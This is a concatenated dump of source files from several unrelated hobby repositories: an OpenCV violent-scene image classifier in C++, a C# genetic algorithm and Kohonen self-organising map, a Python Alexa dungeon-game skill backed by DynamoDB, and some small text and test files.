assert ((vec_bag_of_SURF.rows == features_color_histogram.rows));
cv::Mat all_training_features;
all_training_features = SG::concatMatsHorizontal (vec_bag_of_SURF, features_color_histogram);
#if USE_SVM
// Support Vector Machine
CvSVM SVM;
learnSVM (all_training_features, target, SVM);
std::cout << "### Finished learning SVM." << std::endl;
#endif // USE_SVM
#if USE_ANN
// Artificial Neural Network
CvANN_MLP ANN;
learnANN (all_training_features, target, ANN);
std::cout << "### Finished learning ANN." << std::endl;
#endif // USE_ANN
// ------------------------------
// Test Phase
// ------------------------------
printf ("\n----------------------------------\n Test Phase\n----------------------------------\n\n");
// Read test data using file manager
CategoryFileManager testFileManager (TEST_DATA_FILE_NAME);
if (!testFileManager.generateFileDatas ()) {
std::cout << "### Failed to generate test data." << std::endl;
return -1;
}
std::vector<std::string> test_categories = testFileManager.getCategories ();
int num_test_categories = test_categories.size ();
// Display test categories
std::cout << "### Test data categories : " << std::endl;
for (int index = 0; index < num_test_categories; ++index) {
std::cout << "Category " << index << " : " << test_categories[index] << std::endl;
}
std::cout << std::endl;
// 各カテゴリに対して
for (int current_category = 0; current_category < num_training_categories; ++current_category) {
std::cout << "--- Current Category : " << current_category << " ----------------------" << std::endl;
std::vector<std::string> test_file_paths = testFileManager.getFilePaths (current_category);
int num_images = test_file_paths.size ();
int num_actual_images = 0;
#if USE_SVM
int num_correct_svm = 0;
#endif//USE_SVM
#if USE_ANN
int num_correct_ann = 0;
#endif//USE_ANN
// カテゴリ内の全画像の特徴量を抽出，BoF生成，SVM判定
for (int index_image = 0; index_image < num_images; ++index_image) {
cv::Mat image = cv::imread (test_file_paths[index_image]);
if (image.empty ()) {
std::cout << "### No image found : " << test_file_paths[index_image] << std::endl;
} else {
std::cout << "### File name : " << test_file_paths[index_image] << std::endl;
num_actual_images++;
cv::Mat resized_image;
SG::fixImageSize (image, resized_image, 400);
//
// Feature Extraction
//
cv::Mat gray;
cv::cvtColor (resized_image, gray, CV_BGR2GRAY);
// SURF
SURFDescs descriptor; // 画像中のすべてのキーポイントに対するSURF
calcFeatures (gray, descriptor);
assert (descriptor.cols == DIM_SURF);
// Bo-SURF
BoW bag_of_SURF;
createBoW (descriptor, codebook_for_SURF, bag_of_SURF);
assert (!bag_of_SURF.empty ());
// Color histogram
std::vector<float> color_hist;
SG::calcRegularizedColorHistogram (resized_image, COLOR_HIST_BIN, color_hist);
// 特徴量を合成
bag_of_SURF.insert (bag_of_SURF.end (), color_hist.begin (), color_hist.end ());
cv::Mat test_features (bag_of_SURF);
//
// Classification
//
int result_category = -1;
#if USE_SVM
result_category = SVM.predict (test_features.t ());
std::cout << "Number of support vectors : " << SVM.get_support_vector_count () << std::endl;
std::cout << "SVM Result: ";
if (result_category == current_category) {
std::cout << "Correct" << std::endl;
++num_correct_svm;
} else {
std::cout << "Wrong" << std::endl;
}
std::cout << "SVM Result category: " << result_category << std::endl;
#endif // USE_SVM
#if USE_ANN
cv::Mat outputs;
ANN.predict (test_features.t (), outputs);
assert (outputs.rows == 1 && outputs.cols == 1);
// XXX: Sigmoid function should be used?
float output_num = outputs.at<float> (0, 0);
std::cout << output_num << std::endl;
if (output_num >= 0.) {
result_category = 1;
} else {
result_category = 0;
}
std::cout << "ANN Result: ";
if (result_category == current_category) {
std::cout << "Correct" << std::endl;
++num_correct_ann;
} else {
std::cout << "Wrong" << std::endl;
}
std::cout << "ANN Result category : " << result_category << std::endl;
#endif // USE_ANN
std::cout << std::endl;
}
}
// カテゴリ内での正解率を表示
#if USE_SVM
std::cout << "### SVM Category Result : " << num_correct_svm << " / " << num_actual_images << std::endl;
std::cout << "### SVM Accuracy : " << 100. * float (num_correct_svm) / float (num_actual_images)
<< " %" << std::endl << std::endl;
#endif//USE_SVM
#if USE_SVM
std::cout << "### ANN Category Result : " << num_correct_ann << " / " << num_actual_images << std::endl;
std::cout << "### ANN Accuracy : " << 100. * float (num_correct_ann) / float (num_actual_images)
<< " %" << std::endl << std::endl;
#endif//USE_SVM
}
return 0;
}
<file_sep>/README.md
## VSD
- Implementation of Violent Scenes Detction.
Mainly using
- BoF with SURF
- color histogram
- HOG
- Support Vector Machine (RBF kernel)
## Author
shin_en
<file_sep>/CMakeLists.txt
cmake_minimum_required(VERSION 2.8 FATAL_ERROR)
project(vsd)
set(OPENCV_MANUAL_PATH /usr/local/include/opencv /usr/local/include/opencv2)
set(RESEARCH_ROOT_PATH ${PROJECT_SOURCE_DIR}/../)
set(UTILS_PATH ${RESEARCH_ROOT_PATH}/utils/)
set(HOG_PATH ${RESEARCH_ROOT_PATH}/hog/)
set(MANUAL_CV_LIBS opencv_core opencv_imgproc opencv_video opencv_highgui opencv_objdetect
opencv_nonfree opencv_flann opencv_ml opencv_features2d)
include_directories(${PROJECT_SOURCE_DIR})
include_directories(${OPENCV_MANUAL_PATH})
include_directories(${RESEARCH_ROOT_PATH})
include_directories(${UTILS_PATH})
include_directories(${HOG_PATH})
#include_directories(${OpenCV_INCLUDE_DIR}) # if homebrew
# CMakeで変数名を表示する方法
#message(STATUS "${OpenCV_INCLUDE_DIR}")
link_directories(/usr/local/lib)
add_executable(vsd vsd.cpp ${UTILS_PATH}/cvutils.cpp ${UTILS_PATH}/CategoryFileManager.cpp ${HOG_PATH}/hog.cpp)
#target_link_libraries(vsd ${OpenCV_LIBS}) # if homebrew
target_link_libraries(vsd ${MANUAL_CV_LIBS})
|
f2eb2f613bca15d0afe05e3be57403d299b2833a
|
[
"Markdown",
"CMake",
"C++"
] | 4 |
C++
|
shingt/VSD_image
|
d776e72912d0fd2133215618ab6b161a65572fce
|
73279367aa711d8a26aa28b5abf6e9e1532c051e
|
refs/heads/master
|
<file_sep>#This is test code
print("not hello world")
|
af47209d97c7d540294c23694799f2ae3553420c
|
[
"Python"
] | 1 |
Python
|
nygit/testrepo
|
5bad05515214d8dd5a9172abe3f27f9a79001ef8
|
2e46041683581fef5a869a2a3de3a7d1c6b33178
|
refs/heads/master
|
<file_sep>TODo Minggu ini:
1. Ada pilihan filter waktu buka RTLH
1. Data kota ambil dari database, row pertama..........OK-DONE
1. ID RTLH = KODE RTLH tipe string = KODE_KOTA + ID.....OK-DONE
2. Hapus RTLH langsung del...............................OK-DONE
3. Ganti icon toolbar dan diperbesar.....................OK-DONE
'
4a Bisa edit id kecamatan................................OK-DONE
b Bisa edit id desa.....................................OK-DONE
c Dibuat relasi db update cascade.......................OK-DONE
5a Hapus Kecamatan langsung del..........................OK-DONE
b Hapus Desa langsung del...............................OK-DONE
c Cek dulu ada data hub dng kecamatan jika akan del.....OK-DONE
d Cek dulu ada data hub dng desa jika akan del..........OK-DONE
6a Hapus field ga penting di kecamatan...................OK-DONE
b Hapus field ga penting di desa........................OK-DONE
7a Input kecamatan di fix kan 3 digit....................OK-DONE
b Input desa di fix kan 2 digit.........................OK-DONE
8. Tampilkan path doc di grid dan dibawah pic............OK-DONE
9. Kosongkan field kode di RTLH..........................OK-DONE
10. Ubah id kecamatan maka id desa berubah...............OK-DONE
Penyempurnaan:
1. Jika edit gambar/del gambar maka file di del jg<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace gueGA
{
public delegate void HitungkanFitness(Individu idv, ref double fitnes);
public delegate void OnNewGeneration(int genertaionNo);
public struct Individu
{
public double posX;
public double posY;
public double fitness;
};
public class cGA
{
double totalFitness;
Individu[] populasi; //populasi awal
Individu[] parent;
Individu[] anak;
//Individu super;
int jmlPopulasi, jmlGenerasi;
double persenCross, persenMutasi;
int indexMati;
int indexSuper;
//double fitnessMax;
//
Random rnd;
public cGA(int nPOP, int nGenerasi)
{
jmlPopulasi = nPOP;
jmlGenerasi = nGenerasi;
populasi = new Individu[jmlPopulasi];
anak = new Individu[jmlPopulasi];
parent = new Individu[jmlPopulasi];
rnd = new Random();
persenCross = 0.9;//nilai default
persenMutasi = 0.4; // nilai default
}
public void generatePopulasiAwal(){
totalFitness = 0;
for (int i = 0; i < jmlPopulasi; i++)
{
populasi[i].posX = rnd.NextDouble();
populasi[i].posY = rnd.NextDouble();
populasi[i].fitness = getFitness(populasi[i]);
totalFitness += populasi[i].fitness;
}
setIndividuSuperdanMati();
}
public event HitungkanFitness hitFitness;
private double getFitness(Individu idv)
{
double result=-1.0;
hitFitness(idv, ref result );
return result;
}
public void setRateCross(double val) { persenCross = val; }
public void setRateMutasi(double val) { persenMutasi = val; }
public Individu getIndividu(int i) { return populasi[i]; }
void setIndividu(int index, Individu newIndividu) { populasi[index] = newIndividu; }
void setTotalFitness(double tot) { totalFitness = tot; }
public int getJmlPopulasi() { return jmlPopulasi; }
int getJmlGenerasi() { return jmlGenerasi; }
public double getRateCross() { return persenCross; }
public double getRateMutasi() { return persenMutasi; }
/// <summary>
/// Lakukan seleski roulete
/// </summary>
void seleksiRoulete()
{
double rA, rB;
double total;
//int flgA = 0, flgB = 0;
for (int i = 0; i < jmlPopulasi / 2; i++)
{
rA = rnd.NextDouble(); // random untuk roulete
rB = rnd.NextDouble();
total = 0;
for (int j = 0; j < jmlPopulasi; j++)
{
total += populasi[j].fitness / totalFitness;
if (total > rA)
{
parent[i] = populasi[j];
break;
}
}
total = 0;
for (int j = 0; j < jmlPopulasi; j++)
{
total += populasi[j].fitness / totalFitness;
if (total > rB)
{
parent[i + jmlPopulasi / 2] = populasi[j];
break;
}
}
}
}
void crossOver()
{
double rCross, rPos;
for (int i = 0; i < jmlPopulasi / 2; i++)
{
rCross = rnd.NextDouble(); // untuk menghitung kemungkinan terjadinya crossover
if (rCross < persenCross)
{
rPos = rnd.NextDouble();
anak[i].posX = (rPos * parent[i].posX) + ((1 - rPos) * parent[i + jmlPopulasi / 2].posX);
anak[i + jmlPopulasi / 2].posX = (rPos * parent[i + jmlPopulasi / 2].posX) + ((1 - rPos) * parent[i].posX);
//
anak[i].posY = (rPos * parent[i].posY) + ((1 - rPos) * parent[i + jmlPopulasi / 2].posY);
anak[i + jmlPopulasi / 2].posY = (rPos * parent[i + jmlPopulasi / 2].posY) + ((1 - rPos) * parent[i].posY);
}
else
{
anak[i] = parent[i];
anak[i + jmlPopulasi / 2] = parent[i + jmlPopulasi / 2];
}
}
}
void mutasi()
{
double rMutasi;
for (int i = 0; i < jmlPopulasi; i++)
{
rMutasi = rnd.NextDouble(); //kemungkinan terjaditnya mutasi
if (rMutasi < persenMutasi)
{
anak[i].posX = rnd.NextDouble(); // melakukan random ulang jika terjadi
anak[i].posY = rnd.NextDouble(); // mutasi
}
}
}
/// <summary>
/// Konvert dari anak to induk termasuk juga mencari fitnessnya
/// </summary>
void anak2Induk()
{
totalFitness = 0;
for (int i = 0; i < jmlPopulasi; i++)
{
populasi[i] = anak[i];
populasi[i].fitness = getFitness(populasi[i]);
totalFitness += populasi[i].fitness;
}
}
void setIndividuSuperdanMati()
{
double max = populasi[0].fitness;
double min = max;
int nomorsuper = 0;
int nomormati = 0;
for (int i = 1; i < jmlPopulasi; i++)
{
if (max < populasi[i].fitness)
{
nomorsuper = i;
max = populasi[i].fitness;
}
if (min > populasi[i].fitness)
{
nomormati = i;
min = populasi[i].fitness;
}
}
indexSuper = nomorsuper;
indexMati = nomormati;
//fitnessMax = max;
}
public Individu getIndividuSuper() { return populasi[indexSuper]; }
void elistism() {populasi[indexMati] = populasi[indexSuper];}
public event OnNewGeneration onGeneration;
public Individu doGA(double thresholdFitness)
{
for (int j = 0; j < jmlGenerasi; j++)
{
seleksiRoulete();
crossOver();
mutasi();
anak2Induk();
setIndividuSuperdanMati();
elistism();
setIndividuSuperdanMati();
onGeneration(j);
if (getIndividuSuper().fitness >= thresholdFitness && thresholdFitness >0)
break;
}
return getIndividuSuper();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
namespace gueNN
{
public delegate void IterasiBaruHandler(int interasi);
public class cKohonen
{
String weightFile;
int maxIterasi;
int lebarLayer,panjangLayer;
int panjangData=0;
int radius;
float decRadius;
int decRadiusThreshold;
float alfa,decAlfa;
//
byte [][] input;
int[] target;
float[][][] W;
/// <summary>
/// Full defintion constructor
/// </summary>
/// <param name="weightFile">Nama file weight</param>
/// <param name="maxIterasi">Jumlah max interasi</param>
/// <param name="lebarLayer">Lebar layer</param>
/// <param name="tinggiLayer">Tinggi layer</param>
/// <param name="alfa">Alfa</param>
/// <param name="decrementAlfa">Jumlah pengurangan alfa</param>
/// <param name="radius">Radius</param>
/// <param name="decrementRadius">Jumlah pengurangan radius</param>
/// <param name="decrementRadiusThreshold">Lakukan pengurangan radius setiap N iterasi</param>
public cKohonen(String weightFile, int maxIterasi,
int lebarLayer, int tinggiLayer,
float alfa, float decrementAlfa,
int radius, float decrementRadius, int decrementRadiusThreshold )
{
this.weightFile = weightFile;
this.maxIterasi = maxIterasi;
this.lebarLayer = lebarLayer;
this.panjangLayer = tinggiLayer;
this.alfa = alfa;
this.decAlfa = decrementAlfa;
this.radius = radius;
this.decRadius = decrementRadius;
this.decRadiusThreshold = decrementRadiusThreshold;
}
/// <summary>
/// Constructor dengan default value
/// </summary>
/// <param name="weightFile">Nama file weight</param>
/// <param name="lebarLayer">Lebar layer</param>
/// <param name="tinggiLayer">Tinggi layer</param>
public cKohonen(String weightFile, int lebarLayer, int tinggiLayer)
{
this.weightFile = weightFile;
this.maxIterasi = 100;
this.lebarLayer = lebarLayer;
this.panjangLayer = tinggiLayer;
this.alfa = 0.5F;
this.decAlfa = 0.5F;
this.radius = 5;
this.decRadius = 0.5F;
this.decRadiusThreshold = 10;
}
/// <summary>
/// Default konstruktor
/// </summary>
public cKohonen()
{
//Default konstruktor
this.alfa = 0.5F;
this.decAlfa = 0.5F;
this.radius = 5;
this.decRadius = 0.5F;
this.decRadiusThreshold = 10;
}
/// <summary>
/// Get weight file
/// </summary>
public string WeightFile
{
get { return weightFile; }
}
/// <summary>
/// Get/Set learning rate (Alfa)
/// </summary>
public float Alfa
{
get { return alfa; }
set { alfa = value; }
}
/// <summary>
/// Get/Set decrement learning rate
/// </summary>
public float DecrementAlfa
{
get { return decAlfa; }
set { decAlfa = value; }
}
/// <summary>
/// Get/Set update weight radius
/// </summary>
public int Radius
{
get { return radius; }
set { radius = value; }
}
/// <summary>
/// Get/Set decrement radius
/// </summary>
public float DecrementRadius
{
get { return decRadius; }
set { decRadius = value; }
}
/// <summary>
/// Get/Set decrement radius threshold (iterasi)
/// </summary>
public int RadiusThreshold
{
get { return decRadiusThreshold; }
set { decRadiusThreshold = value; }
}
/// <summary>
/// Get/Set panjang layer
/// </summary>
public int PanjangLayer
{
get { return panjangLayer; }
set { panjangLayer = value; }
}
/// <summary>
/// Get/Set lebar layer
/// </summary>
public int LebarLayer
{
get { return lebarLayer; }
set { lebarLayer = value; }
}
/// <summary>
/// Property panjang data
/// </summary>
public int PanjangData
{
get {return panjangData; }
set {panjangData =value;}
}
/// <summary>
/// Baca weight dari file yang disebutkan
/// </summary>
/// <param name="fileWeight">File weight</param>
/// <returns></returns>
public bool BacaWeight(String fileWeight)
{
if (!File.Exists(fileWeight ))
return false;
weightFile = fileWeight;
return BacaWeight();
}
/// <summary>
/// Load weight file
/// </summary>
/// <returns>True jika berhasil, false jika gagal</returns>
public bool BacaWeight()
{
if (!File.Exists(weightFile))
return false;
bool result = true;
using (FileStream fs = new FileStream(weightFile, FileMode.Open))
{
BinaryFormatter formatter = new BinaryFormatter();
try
{
W =(float[][][]) formatter.Deserialize(fs);
}
catch (SerializationException e)
{
Console.WriteLine("Failed to serialize. Reason: " + e.Message);
result = false;
}
fs.Close();
}
return result;
}
/// <summary>
/// Fungsi menyimpan W (weight) aray 3 dimensi dalam file.
/// File di set dalam constructor
/// </summary>
/// <returns></returns>
private bool SimpanWeight()
{
bool result=true;
using (FileStream fs = new FileStream(weightFile, FileMode.Create ))
{
BinaryFormatter formatter = new BinaryFormatter();
try
{
formatter.Serialize(fs, W);
}
catch (SerializationException e)
{
Console.WriteLine("Failed to serialize. Reason: " + e.Message);
result = false;
}
fs.Close();
}
return result;
}
/// <summary>
/// Fungsi load input file.
/// Input file ada file yang berisi data yang akan di training
/// </summary>
/// <param name="inputFile">Nama file</param>
/// <returns>Jumlah data</returns>
public int BacaInput(String inputFile)
{
if (inputFile == "")
return 0;
FileInfo testFile = new FileInfo(inputFile);
if (!testFile.Exists)
return 0;
List<String[]> listInput = new List<string[]>();
using (StreamReader sr = new StreamReader(inputFile))
{
while (!sr.EndOfStream)
{
String tmp = sr.ReadLine();
String[] tmp2;
char[] sep = new char[1];
sep[0] = ',';
tmp2 = tmp.Split(sep);
listInput.Add(tmp2);
}
sr.Close();
}
if (listInput.Count == 0)
return 0;
input = new byte[listInput.Count][];
target = new int[listInput.Count];
for (int i = 0; i < listInput.Count; i++)
{
input[i] = new byte[panjangData];
target[i] = Int32.Parse(listInput[i][0]);
for (int j = 0; j < panjangData; j++)
{
if (listInput[i][j + 1] == "")
continue;
input[i][j] =Byte.Parse(listInput[i][j + 1]);
}
}
if (input[0].Length != panjangData)
return 0;
return listInput.Count;
}
/// <summary>
/// Get Target
/// </summary>
/// <returns></returns>
public int[] Target
{
get { return target; }
}
/// <summary>
/// Get Input
/// </summary>
/// <returns></returns>
public byte[][] Input
{
get { return input; }
}
public float[][][] Weight
{
get { return W; }
}
/// <summary>
/// Property Max Iterasi
/// </summary>
public int Iterasi
{
get { return maxIterasi ; }
set { maxIterasi = value; }
}
/// <summary>
/// Melakukan insialisasi Weight. Jika proses learning di mulai dari awal
/// </summary>
/// <returns>True jika berhasil, False jika gagal</returns>
private bool InisilisasiWeight()
{
Random rnd = new Random();
W = null;
W = new float[lebarLayer][][];
for (int i = 0; i < W.Length; i++)
{
W[i] = new float[panjangLayer][];
for (int j = 0; j < W[i].Length; j++)
{
W[i][j] = new float[panjangData+1];
W[i][j][0] = -1;//Key awal
for (int k = 1; k < W[i][j].Length; k++)
W[i][j][k] = (float)rnd.NextDouble();
}
}
return true;
}
public event IterasiBaruHandler onInterasiBaru;
/// <summary>
/// Train new data dari Input yang telah di baca sebelumnya
/// </summary>
/// <param name="TrainUlang">Jika true, maka train ulang dari weight kosong.
/// Jika false maka train dari weight yang sudah ada</param>
/// <returns>True jika berhasil, False jika gagal</returns>
public bool TrainNewData(bool TrainUlang)
{
if (input == null)
return false;
if (panjangData == 0)
return false;
float minQ = 10000.0F;
int posMinQX, posMinQY;
posMinQX = 0;
posMinQY = 0;
float Q;
//float[][] delta;
//delta = new float[lebarLayer][];
if (!BacaWeight()|| TrainUlang)
InisilisasiWeight();
int jmlInput = input.Length;
for (int i = 0; i < maxIterasi; i++)
{
for (int inp = 0; inp < jmlInput; inp++)
{
minQ = 10000.0F;
for (int x = 0; x < lebarLayer; x++)
{
//delta[x] = new float[tinggiLayer];
for (int y = 0; y < panjangLayer; y++)
{
Q = 0;
for (int idx = 0; idx < panjangData; idx++)
Q = Q + (float)Math.Pow(((float)input[inp][idx] - W[x][y][idx + 1]), 2);
Q = (float) Math.Sqrt(Q);
//delta[x][y] = Q;
if (Q < minQ)
{
minQ = Q;
posMinQX = x;
posMinQY = y;
}
}
}
W[posMinQX][posMinQY][0] = target[inp];
for (int rx = posMinQX - radius; rx < posMinQX + radius; rx++)
{
if (rx >= 0 && rx < lebarLayer)
{
for (int ry = posMinQY - radius; ry < posMinQY + radius; ry++)
{
if (ry >= 0 && ry < panjangLayer)
{
for (int idx = 0; idx < jmlInput; idx++)
{
W[rx][ry][idx + 1] = W[rx][ry][idx + 1] + (alfa * (input[inp][i] - W[rx][ry][idx + 1]));
}
}
}
}
}
}
alfa = alfa * decAlfa;
if (i % decRadiusThreshold == 0)
radius = (int)(radius * decRadius);
if (onInterasiBaru != null)
onInterasiBaru(i);
}
return SimpanWeight();
}
/// <summary>
/// Training new data experiment mode
/// </summary>
/// <param name="TrainUlang"></param>
/// <returns></returns>
public bool TrainNewDataEx(bool TrainUlang)
{
if (input == null)
return false;
if (panjangData == 0)
return false;
float minQ = 10000.0F;
int posMinQX, posMinQY;
posMinQX = 0;
posMinQY = 0;
float Q;
//float[][] delta;
//delta = new float[lebarLayer][];
if (!BacaWeight() || TrainUlang)
InisilisasiWeight();
int jmlInput = input.Length;
Random rnd = new Random();
for (int i = 0; i < maxIterasi; i++)
{
//Copy input index list
List<int> lInput = new List<int>(jmlInput);
for (int inp = 0; inp < jmlInput; inp++)
{
lInput.Add(inp);
}
//iterasi sebanyak list input
while (lInput.Count > 0)
{
//pilih random input
int inpidx, inp;
inpidx = (int)(rnd.NextDouble() * (lInput.Count - 1));
if (inpidx < 0)
inpidx++;
inp = lInput[inpidx];
lInput.RemoveAt(inpidx);
//
minQ = 10000.0F;
for (int x = 0; x < lebarLayer; x++)
{
//delta[x] = new float[tinggiLayer];
for (int y = 0; y < panjangLayer; y++)
{
Q = 0;
for (int idx = 0; idx < panjangData; idx++)
Q = Q + (float)Math.Pow(((float)input[inp][idx] - W[x][y][idx + 1]), 2);
Q = (float) Math.Sqrt(Q);
//delta[x][y] = Q;
if (Q < minQ)
{
minQ = Q;
posMinQX = x;
posMinQY = y;
}
}
}
W[posMinQX][posMinQY][0] = target[inp];
for (int rx = posMinQX - radius; rx < posMinQX + radius; rx++)
{
if (rx >= 0 && rx < lebarLayer)
{
for (int ry = posMinQY - radius; ry < posMinQY + radius; ry++)
{
if (ry >= 0 && ry < panjangLayer)
{
for (int idx = 0; idx < jmlInput; idx++)
{
W[rx][ry][idx + 1] = W[rx][ry][idx + 1] + (alfa * (input[inp][i] - W[rx][ry][idx + 1]));
}
}
}
}
}
}
alfa = alfa * decAlfa;
if (i % decRadiusThreshold == 0)
radius = (int)(radius * decRadius);
if (onInterasiBaru != null)
onInterasiBaru(i);
}
return SimpanWeight();
}
/// <summary>
/// Proses learning kohonen
/// </summary>
/// <param name="inputFile">Input file yang digunakan untuk learning</param>
/// <param name="TrainUlang">Jika true, maka train ulang dari weight kosong.
/// Jika false maka train dari weight yang sudah ada</param>
/// <returns>True jika berhasil, False jika gagal</returns>
public bool TrainNewData(String inputFile, bool TrainUlang)
{
int jmlInput = BacaInput(inputFile);
if (jmlInput <= 0)
return false;
return TrainNewData(TrainUlang);
}
/// <summary>
/// Fungsi pengenalan karakter/digit (Mappint)
/// </summary>
/// <param name="inputBit">Input karakter/digit dalam bit 0/1 sepanjang PanjangDigit</param>
/// <returns>Hasil pengenalan berupa int kode/key per Weight. 0 jika gagal</returns>
public int Pengenalan(byte[] inputBit)
{
int idxMinQX, idxMinQY;
idxMinQX = 0;
idxMinQY = 0;
if (!BacaWeight())
return 0;
if (inputBit.Length != panjangData)
return 0;
//float[][] d;
float Q;
float minQ = 10000.0F;
for (int i = 0; i < lebarLayer; i++)
{
for (int j = 0; j < panjangLayer; j++)
{
Q = 0.0F;
for (int idx = 0; idx < panjangData; idx++)
Q = Q + (float) Math.Pow (((float)inputBit[idx] - W[i][j][idx + 1]) , 2);
if (minQ > Q)
{
minQ = Q;
idxMinQX = i;
idxMinQY = j;
}
}
}
return (int) W[idxMinQX][idxMinQY][0];
}
/// <summary>
/// Fungsi menambah data untuk di trainig di file input
/// </summary>
/// <param name="inputFile">Nama file</param>
/// <param name="data">Data yang akan di masukkan</param>
/// <param name="key">Key data </param>
/// <param name="fileBaru">Apakah sebagai file baru (menghapus isi yang lama(</param>
/// <returns></returns>
public static bool TambahDataToInput(String inputFile, byte[] data, int key, bool fileBaru)
{
FileInfo testFile = new FileInfo(inputFile);
if (Directory.Exists(testFile.DirectoryName))
Directory.CreateDirectory(testFile.DirectoryName);
String strData = key + ",";
for (int i = 0; i < data.Length; i++)
strData += data[i] + ",";
StreamWriter sw ;
if (fileBaru)
{
if (!File.Exists(inputFile))
File.Create(inputFile);
sw = new StreamWriter(inputFile, false);
}
else
sw = new StreamWriter(inputFile, true);
sw.WriteLine(strData);
sw.Close();
return true;
}
}
}
|
b6363fc26aedbb7bf8886fd4408771539797ac5a
|
[
"C#",
"Text"
] | 3 |
Text
|
gueshindu/tugas-akhir-itats
|
01d0827caedb9932232f178171afd9b82b97336d
|
8f62f2bc0ab399458bc977cd8063ab66979d8e2f
|
refs/heads/master
|
<file_sep>from __future__ import print_function
from dungeon_functions import *
import boto3
from datetime import datetime, timedelta
import decimal
dynamodb = boto3.resource('dynamodb', region_name='eu-west-1')
database = dynamodb.Table('dungeon')
# --------------- Helpers that build all of the responses ----------------------
def build_speechlet_response(title, output, reprompt_text, should_end_session):
return {
'outputSpeech': {
'type': 'PlainText',
'text': output
},
'card': {
'type': 'Simple',
'title': title,
'content': output
},
'reprompt': {
'outputSpeech': {
'type': 'PlainText',
'text': reprompt_text
}
},
'shouldEndSession': should_end_session
}
def build_response(session_attributes, speechlet_response):
return {
'version': '1.0',
'sessionAttributes': session_attributes,
'response': speechlet_response
}
# ---------------- Help function -----------------------------------------------
def update_player_stats_to_DB(player):
bag,uses = [],[]
for x in player.get('equip').get('bag'): bag.append(int(x))
for x in player.get('equip').get('uses'): uses.append(int(x))
database.update_item(
Key={
'userId': player.get('userId'),
},
UpdateExpression="set HP = :hp, HP_max = :mh, battle = :ba, battle_exp = :be, equip.bag = :eqb, equip.uses = :equ, equip.pickaxe = :eqp, equip.sword = :eqs, farm.#end = :fae, farm.hours = :fah, farm.pickaxe = :fap, farm.rewarded = :far, farm_exp = :fe, gold = :go, materials.legno = :mal, materials.pietra = :map, materials.ferro = :maf, materials.diamante = :mad, materials.runa = :mar, #itm.vigor = :itv, #itm.cuore = :itc, stamina = :st, stamina_max = :ms, #lv = :lv",
ExpressionAttributeValues={
':hp': int( player.get('HP') ),
':mh': int( player.get('HP_max') ),
':ba': str( player.get('battle') ),
':be': int( player.get('battle_exp') ),
':eqb': bag,
':equ': uses,
':eqp': int( player.get('equip').get('pickaxe') ),
':eqs': int( player.get('equip').get('sword') ),
':fae': str( player.get('farm').get('end') ),
':fah': decimal.Decimal (str(player.get('farm').get('hours'))),
':fap': int( player.get('farm').get('pickaxe') ),
':far': bool( player.get('farm').get('rewarded') ),
':fe': int( player.get('farm_exp') ),
':go': int( player.get('gold') ),
':mal': int( player.get('materials').get('legno') ),
':map': int( player.get('materials').get('pietra') ),
':maf': int( player.get('materials').get('ferro') ),
':mad': int( player.get('materials').get('diamante') ),
':mar': int( player.get('materials').get('runa') ),
':itv': int( player.get('items').get('vigor') ),
':itc': int( player.get('items').get('cuore') ),
':ms': int( player.get('stamina_max') ),
':st': int( player.get('stamina') ),
':lv': int( player.get('level') )
},
ExpressionAttributeNames={
'#lv': 'level',
'#end': 'end',
'#itm': 'items'
},
ReturnValues="UPDATED_NEW"
)
# --------------- Functions that control the skill's behavior ------------------
def get_market_response(intent,session):
card_title = 'Market'
session_attributes = session.get('attributes')
player = session_attributes.get('player')
materials = player.get('materials')
material = intent['slots']['materiale']['value']
quantity = int( intent['slots']['quantita']['value'] )
storage_material = materials.get(material)
if storage_material >= quantity:
gold_sell = sell_materials(material,quantity)
remaining = storage_material - quantity
materials.update({material:remaining})
player.update({'gold':player.get('gold')+gold_sell})
update_player_stats_to_DB(player)
msg = 'Hai guadagnato '+str(int(gold_sell))+' monete d\' oro. Ti rimangono '+str(int(remaining))+' di '+material+'.'
else:
msg = 'Non hai abbastanza '+material+', ne hai '+str(int(storage_material))+'.'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def get_farm_reward_response(session):
card_title = 'Dungeon'
session_attributes = session.get('attributes')
player = session_attributes.get('player')
farm = player.get('farm')
now = datetime.now()
endFarm = datetime.strptime(farm.get('end'),'%Y-%m-%d %H:%M:%S.%f')
if now > endFarm:
if farm.get('rewarded'):
msg = 'Non hai nessun bottino da prendere.'
else:
session_attributes.update({'state':'rewardRequest'})
msg = 'Sei sicuro di volerlo aprire?'
else:
ETA = endFarm - now
mins = round(ETA.seconds / 60)
msg = 'Hai una ricerca attiva. Finisce tra '+hour_to_minute(mins/60)+'.'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def ready_up_farming(session_attributes,equip,player,hours):
equip = player.get('equip')
what,times,hour = max_hours_farm(int(hours),equip,player.get('stamina'))
if times == 0:
if what == 'stamina':
session_attributes.update({'state':'use_items','item':'vigor'})
msg = 'Non hai più stamina, vuoi usare un vigor?'
elif what == 'pickaxe':
session_attributes.update({'state':'home'})
msg = 'Il tuo piccone ha finito gli usi. Cambialo prima di inziare una ricerca.'
elif what == 'dfu':
session_attributes.update({'state':'home'})
msg = 'La ricerca è finita e hai trovato.. NULLA, congratulazioni'
else:
if what == 'pickaxe': msg = 'Il piccone ha ancora '+str(times)+' usi. '
elif what == 'stamina': msg = 'Hai ancora '+str(times)+' di stamina. '
elif what == 'dfu': msg = ''
session_attributes.update({'state':'start_farm','hours_farm':hour})
msg += 'La ricerca durerà '+hour_to_minute(hour)+', inizio?'
return msg
def get_hours_farm_response(intent,session):
card_title = 'Farm'
session_attributes = session.get('attributes')
hours = intent['slots']['hours']['value']
if session_attributes.get('started') and session_attributes.get('state') == 'hours_farm':
player = session_attributes.get('player')
equip = player.get('equip')
msg = ready_up_farming(session_attributes,equip,player,hours)
else:
msg = 'Non penso di avertelo chiesto.'
speech_output = msg
reprompt_text = ''
should_end_session = False
return build_response(session_attributes,build_speechlet_response(card_title,speech_output,reprompt_text,should_end_session))
def get_farm_response(intent,session):
card_title = 'Farm'
session_attributes = session.get('attributes')
if intent.get('slots').get('hours').get('value'): hours = intent['slots']['hours']['value']
else: hours = None
if session_attributes.get('started'):
player = session_attributes.get('player')
now = datetime.now()
